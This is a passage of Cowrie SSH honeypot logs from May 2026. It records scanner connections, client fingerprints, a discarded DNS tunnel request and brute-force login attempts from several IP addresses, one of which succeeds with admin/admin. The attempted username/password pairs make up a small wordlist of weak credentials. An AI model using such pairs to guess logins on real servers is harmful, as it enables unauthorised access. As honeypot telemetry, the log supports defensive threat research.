sh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:22.543627Z","src_ip":"87.251.64.176","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:23.151032Z","src_ip":"87.251.64.176","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:23.377109Z","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:23.600395Z","src_ip":"87.251.64.176","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:23.820684Z","src_ip":"87.251.64.176","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47202,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f86c5fbcba","protocol":"ssh","message":"New connection: 159.203.92.129:47202 (159.203.135.109:22) [session: 24f86c5fbcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:33.680765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:33.686429Z","src_ip":"159.203.92.129","session":"24f86c5fbcba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:33.690858Z","src_ip":"159.203.92.129","session":"24f86c5fbcba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2022","message":"login attempt [alias/alias2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:33.701374Z","src_ip":"159.203.92.129","session":"24f86c5fbcba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:34.708271Z","src_ip":"159.203.92.129","session":"24f86c5fbcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":7616,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5442aabc309","protocol":"ssh","message":"New connection: 119.195.89.96:7616 (159.203.135.109:22) [session: b5442aabc309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:38.102496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:38.106546Z","src_ip":"119.195.89.96","session":"b5442aabc309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:38.308134Z","src_ip":"119.195.89.96","session":"b5442aabc309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ubuntu","message":"login attempt [root/123ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:39.145586Z","src_ip":"119.195.89.96","session":"b5442aabc309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:40.350491Z","src_ip":"119.195.89.96","session":"b5442aabc309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":35084,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1778c534d66","protocol":"ssh","message":"New connection: 124.13.124.212:35084 (159.203.135.109:22) [session: d1778c534d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:03.727141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:03.733007Z","src_ip":"124.13.124.212","session":"d1778c534d66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:03.980764Z","src_ip":"124.13.124.212","session":"d1778c534d66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2022","message":"login attempt [ftpuser/ftpuser@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:04.990879Z","src_ip":"124.13.124.212","session":"d1778c534d66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:06.235411Z","src_ip":"124.13.124.212","session":"d1778c534d66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a4f28d0b3b","protocol":"ssh","message":"New connection: 159.203.92.129:60448 (159.203.135.109:22) [session: f8a4f28d0b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:17.483650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:17.489205Z","src_ip":"159.203.92.129","session":"f8a4f28d0b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:17.494502Z","src_ip":"159.203.92.129","session":"f8a4f28d0b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2023","message":"login attempt [alias/alias2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:17.506505Z","src_ip":"159.203.92.129","session":"f8a4f28d0b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:18.512591Z","src_ip":"159.203.92.129","session":"f8a4f28d0b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":16339,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea5589ab35a3","protocol":"ssh","message":"New connection: 119.195.89.96:16339 (159.203.135.109:22) [session: ea5589ab35a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:34.460664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:34.464990Z","src_ip":"119.195.89.96","session":"ea5589ab35a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:34.661837Z","src_ip":"119.195.89.96","session":"ea5589ab35a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123qwe","message":"login attempt [ali/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:35.482574Z","src_ip":"119.195.89.96","session":"ea5589ab35a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:36.680994Z","src_ip":"119.195.89.96","session":"ea5589ab35a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40832,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b0b3a624f92","protocol":"ssh","message":"New connection: 159.203.92.129:40832 (159.203.135.109:22) [session: 2b0b3a624f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:59.335042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:59.339281Z","src_ip":"159.203.92.129","session":"2b0b3a624f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:59.343235Z","src_ip":"159.203.92.129","session":"2b0b3a624f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2024","message":"login attempt [alias/alias2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:25:59.352918Z","src_ip":"159.203.92.129","session":"2b0b3a624f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:00.359450Z","src_ip":"159.203.92.129","session":"2b0b3a624f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":52600,"dst_ip":"159.203.135.109","dst_port":22,"session":"d64672fe4822","protocol":"ssh","message":"New connection: 124.13.124.212:52600 (159.203.135.109:22) [session: d64672fe4822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:01.820658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:01.827464Z","src_ip":"124.13.124.212","session":"d64672fe4822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:02.067702Z","src_ip":"124.13.124.212","session":"d64672fe4822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w#E$R","message":"login attempt [admin/1q2w#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:03.062852Z","src_ip":"124.13.124.212","session":"d64672fe4822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:04.302870Z","src_ip":"124.13.124.212","session":"d64672fe4822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":22313,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f6def990529","protocol":"ssh","message":"New connection: 119.195.89.96:22313 (159.203.135.109:22) [session: 2f6def990529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:31.639914Z"}
